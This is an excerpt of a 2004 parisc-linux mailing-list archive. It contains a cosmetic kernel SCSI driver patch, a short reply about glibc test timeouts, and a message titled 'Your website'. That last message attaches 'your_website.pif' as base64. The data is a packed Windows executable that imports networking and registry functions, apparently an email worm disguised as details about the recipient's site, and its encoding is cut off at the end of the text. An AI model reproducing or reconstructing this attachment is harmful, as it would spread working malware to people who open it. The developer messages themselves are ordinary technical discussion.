diff -NaurX dontdiff linux-2.6.6-rc1-pa0.orig/drivers/scsi/ncr53c8xx.c linux-2.6.6-rc1-pa0/drivers/scsi/ncr53c8xx.c
--- linux-2.6.6-rc1-pa0.orig/drivers/scsi/ncr53c8xx.c	2004-03-16 16:40:24.000000000
+0100
+++ linux-2.6.6-rc1-pa0/drivers/scsi/ncr53c8xx.c	2004-04-21 11:11:06.855459160
+0200
@@ -3710,11 +3710,11 @@
 **
 **==========================================================
 */
-static int ncr_queue_command (struct ncb *np, struct scsi_cmnd *cmd)
+static int ncr_queue_command(struct ncb *np, struct scsi_cmnd *cmd)
 {
 /*	struct scsi_device        *device    = cmd->device; */
-	struct tcb *tp                      = &np->target[cmd->device->id];
-	struct lcb *lp		      = tp->lp[cmd->device->lun];
+	struct tcb *tp		= &np->target[cmd->device->id];
+	struct lcb *lp		= tp->lp[cmd->device->lun];
 	struct ccb *cp;
 
 	int	segments;
@@ -8604,8 +8604,8 @@
 					int unit, struct ncr_device *device)
 {
 	struct host_data *host_data;
-	struct ncb *np = 0;
-	struct Scsi_Host *instance = 0;
+	struct ncb *np = NULL;
+	struct Scsi_Host *instance = NULL;
 	u_long flags = 0;
 	int i;
================================================================================

Is that possible that you ci (i don't have cvs write access).

Thanks in advance,
    Joel

PS: As usual because of wrapping pb of my interface, I also attached the
diff file ;)


----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr




--========/40711E560000A21D/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="2.6.6-rc1-pa0.diff"

ZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi42LjYtcmMxLXBhMC5vcmlnL2RyaXZlcnMvcGFy
aXNjL2NjaW8tZG1hLmMgbGludXgtMi42LjYtcmMxLXBhMC9kcml2ZXJzL3BhcmlzYy9jY2lvLWRt
YS5jCi0tLSBsaW51eC0yLjYuNi1yYzEtcGEwLm9yaWcvZHJpdmVycy9wYXJpc2MvY2Npby1kbWEu
YwkyMDA0LTAzLTE2IDE2OjQwOjIzLjAwMDAwMDAwMCArMDEwMAorKysgbGludXgtMi42LjYtcmMx
LXBhMC9kcml2ZXJzL3BhcmlzYy9jY2lvLWRtYS5jCTIwMDQtMDQtMjEgMTA6MzI6MTEuMDAwMDAw
MDAwICswMjAwCkBAIC00NDEsNyArNDQ3LDcgQEAKIAlCVUdfT04oKHBhZ2VzX21hcHBlZCAqIElP
VlBfU0laRSkgPiBETUFfQ0hVTktfU0laRSk7CiAJQlVHX09OKHBhZ2VzX21hcHBlZCA+IEJJVFNf
UEVSX0xPTkcpOwogCi0JREJHX1JFUygiJXMoKTogIHJlc19pZHg6ICVkIHBhZ2VzX21hcHBlZCAl
ZFxuIiwgCisJREJHX1JFUygiJXMoKTogIHJlc19pZHg6ICVkIHBhZ2VzX21hcHBlZCAlbGRcbiIs
IAogCQlfX0ZVTkNUSU9OX18sIHJlc19pZHgsIHBhZ2VzX21hcHBlZCk7CiAKICNpZmRlZiBDQ0lP
X01BUF9TVEFUUwpAQCAtNzY2LDcgKzc3Miw3IEBACiAKIAlwZGlyX3N0YXJ0ID0gJihpb2MtPnBk
aXJfYmFzZVtpZHhdKTsKIAotCURCR19SVU4oIiVzKCkgMHglcCAtPiAweCVseCBzaXplOiAlMHgl
eFxuIiwKKwlEQkdfUlVOKCIlcygpIDB4JXAgLT4gMHglbHggc2l6ZTogMHgleFxuIiwKIAkJX19G
VU5DVElPTl9fLCBhZGRyLCAobG9uZylpb3ZwIHwgb2Zmc2V0LCBzaXplKTsKIAogCS8qIElmIG5v
dCBjYWNoZWxpbmUgYWxpZ25lZCwgZm9yY2UgU0FGRV9ETUEgb24gdGhlIHdob2xlIG1lc3MgKi8K
ZGlmZiAtTmF1clggZG9udGRpZmYgbGludXgtMi42LjYtcmMxLXBhMC5vcmlnL2RyaXZlcnMvcGFy
aXNjL2lvbW11LWhlbHBlcnMuaCBsaW51eC0yLjYuNi1yYzEtcGEwL2RyaXZlcnMvcGFyaXNjL2lv
bW11LWhlbHBlcnMuaAotLS0gbGludXgtMi42LjYtcmMxLXBhMC5vcmlnL2RyaXZlcnMvcGFyaXNj
L2lvbW11LWhlbHBlcnMuaAkyMDA0LTAzLTEyIDE3OjM3OjMxLjAwMDAwMDAwMCArMDEwMAorKysg
bGludXgtMi42LjYtcmMxLXBhMC9kcml2ZXJzL3BhcmlzYy9pb21tdS1oZWxwZXJzLmgJMjAwNC0w
NC0yMSAxMDo0NjozMy4wMDAwMDAwMDAgKzAyMDAKQEAgLTIyLDE0ICsyMiwxNSBAQAogCS8qIEhv
cnJpYmxlIGhhY2suICBGb3IgZWZmaWNpZW5jeSdzIHNha2UsIGRtYV9zZyBzdGFydHMgb25lIAog
CSAqIGVudHJ5IGJlbG93IHRoZSB0cnVlIHN0YXJ0IChpdCBpcyBpbW1lZGlhdGVseSBpbmNyZW1l
bnRlZAogCSAqIGluIHRoZSBsb29wKSAqLwotCSBkbWFfc2ctLTsKKwlkbWFfc2ctLTsKIAogCXdo
aWxlIChuZW50cy0tID4gMCkgewogCQl1bnNpZ25lZCBsb25nIHZhZGRyOwogCQlsb25nIHNpemU7
CiAKIAkJREJHX1JVTl9TRygiICVkIDogJTA4bHgvJTA1eCAlMDhseC8lMDV4XG4iLCBuZW50cywK
LQkJCSAgICh1bnNpZ25lZCBsb25nKXNnX2RtYV9hZGRyZXNzKHN0YXJ0c2cpLCBjbnQsCisJCQkg
ICAodW5zaWduZWQgbG9uZylzZ19kbWFfYWRkcmVzcyhzdGFydHNnKSwKKwkJCSAgIHNnX2RtYV9s
ZW4oc3RhcnRzZyksCiAJCQkgICBzZ192aXJ0X2FkZHIoc3RhcnRzZyksIHN0YXJ0c2ctPmxlbmd0
aAogCQkpOwogCmRpZmYgLU5hdXJYIGRvbnRkaWZmIGxpbnV4LTIuNi42LXJjMS1wYTAub3JpZy9k
cml2ZXJzL3Njc2kvbmNyNTNjOHh4LmMgbGludXgtMi42LjYtcmMxLXBhMC9kcml2ZXJzL3Njc2kv
bmNyNTNjOHh4LmMKLS0tIGxpbnV4LTIuNi42LXJjMS1wYTAub3JpZy9kcml2ZXJzL3Njc2kvbmNy
NTNjOHh4LmMJMjAwNC0wMy0xNiAxNjo0MDoyNC4wMDAwMDAwMDAgKzAxMDAKKysrIGxpbnV4LTIu
Ni42LXJjMS1wYTAvZHJpdmVycy9zY3NpL25jcjUzYzh4eC5jCTIwMDQtMDQtMjEgMTE6MTE6MDYu
ODU1NDU5MTYwICswMjAwCkBAIC0zNzEwLDExICszNzEwLDExIEBACiAqKgogKio9PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAqLwotc3Rh
dGljIGludCBuY3JfcXVldWVfY29tbWFuZCAoc3RydWN0IG5jYiAqbnAsIHN0cnVjdCBzY3NpX2Nt
bmQgKmNtZCkKK3N0YXRpYyBpbnQgbmNyX3F1ZXVlX2NvbW1hbmQoc3RydWN0IG5jYiAqbnAsIHN0
cnVjdCBzY3NpX2NtbmQgKmNtZCkKIHsKIC8qCXN0cnVjdCBzY3NpX2RldmljZSAgICAgICAgKmRl
dmljZSAgICA9IGNtZC0+ZGV2aWNlOyAqLwotCXN0cnVjdCB0Y2IgKnRwICAgICAgICAgICAgICAg
ICAgICAgID0gJm5wLT50YXJnZXRbY21kLT5kZXZpY2UtPmlkXTsKLQlzdHJ1Y3QgbGNiICpscAkJ
ICAgICAgPSB0cC0+bHBbY21kLT5kZXZpY2UtPmx1bl07CisJc3RydWN0IHRjYiAqdHAJCT0gJm5w
LT50YXJnZXRbY21kLT5kZXZpY2UtPmlkXTsKKwlzdHJ1Y3QgbGNiICpscAkJPSB0cC0+bHBbY21k
LT5kZXZpY2UtPmx1bl07CiAJc3RydWN0IGNjYiAqY3A7CiAKIAlpbnQJc2VnbWVudHM7CkBAIC04
NjA0LDggKzg2MDQsOCBAQAogCQkJCQlpbnQgdW5pdCwgc3RydWN0IG5jcl9kZXZpY2UgKmRldmlj
ZSkKIHsKIAlzdHJ1Y3QgaG9zdF9kYXRhICpob3N0X2RhdGE7Ci0Jc3RydWN0IG5jYiAqbnAgPSAw
OwotCXN0cnVjdCBTY3NpX0hvc3QgKmluc3RhbmNlID0gMDsKKwlzdHJ1Y3QgbmNiICpucCA9IE5V
TEw7CisJc3RydWN0IFNjc2lfSG9zdCAqaW5zdGFuY2UgPSBOVUxMOwogCXVfbG9uZyBmbGFncyA9
IDA7CiAJaW50IGk7CiAK

--========/40711E560000A21D/mail.tiscali.be--


From - Thu Nov 08 21:31:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [PATCH] glibc-2.3.3 error with debian
	unstable	compiler...
Date: Wed, 21 Apr 2004 07:55:22 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20040421115522.GH28094@baldric.uwo.ca>
References: <20040420193537.GB28094@baldric.uwo.ca>
	<40711E5600009DD2@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623396 8545 80.91.229.3 (22 Nov 2014 02:29:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Wed Apr 21 05:56:01 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 600AD486A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Apr 2004 05:56:01 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BGGK2-0001qE-00; Wed, 21 Apr 2004 07:55:22 -0400
Content-Disposition: inline
In-Reply-To: <40711E5600009DD2@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (18% Sync Ratio [==........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 21 Apr 2004 11:56:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21489

> >What does tst-rndseek.out say? I don't see this error?
> grrr just a time out (I would have to put the 'export TIMEOUTFACTOR=4' in
> the root profile on my chroot disk :? )
> 
> GCONV_PATH=/Develop/parisc-linux/build/glibc/iconvdata LC_ALL=C   /Develop/parisc-linux/build/glibc/elf/ld.so.1
> --library-path /Develop/parisc-linux/build/glibc:/Develop/parisc-linux/build/glibc/math:/Develop/parisc-linux/build/glibc/elf:/Develop/parisc-linux/build/glibc/dlfcn:/Develop/parisc-linux/build/glibc/nss:/Develop/parisc-linux/build/glibc/nis:/Develop/p
> arisc-linux/build/glibc/rt:/Develop/parisc-linux/build/glibc/resolv:/Develop/parisc-linux/build/glibc/crypt:/Develop/parisc-linux/build/glibc/linuxthreads
> /Develop/parisc-linux/build/glibc/stdio-common/tst-rndseek  > /Develop/parisc-linux/build/glibc/stdio-common/tst-rndseek.out
> Timed out: killed the child process

Yes, the default timeout is too short, add a TIMEOUTFACTOR of 5 or more.

c.


From - Thu Nov 08 21:31:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: aksaini@bits-pilani.ac.in
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Your website
Date: Thu, 22 Apr 2004 01:09:17 +0530
Lines: 345
Approved: news@gmane.org
Message-ID: <20040421193916.D4B76483C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0001_00004FCE.00007ACE"
X-Trace: ger.gmane.org 1416623396 8549 80.91.229.3 (22 Nov 2014 02:29:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:56 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: aksaini@bits-pilani.ac.in  Wed Apr 21 13:39:25 2004
Return-Path: <aksaini@bits-pilani.ac.in>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [61.1.108.208])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4B76483C
	for <parisc-linux@parisc-linux.org>;
	Wed, 21 Apr 2004 13:39:16 -0600 (MDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 21 Apr 2004 19:39:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21490

This is a multi-part message in MIME format.

------=_NextPart_000_0001_00004FCE.00007ACE
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

See the attached file for details.

------=_NextPart_000_0001_00004FCE.00007ACE
Content-Type: application/octet-stream;
	name="your_website.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="your_website.pif"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V
4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp
dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA
APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE
AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA
EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg
AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA
AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
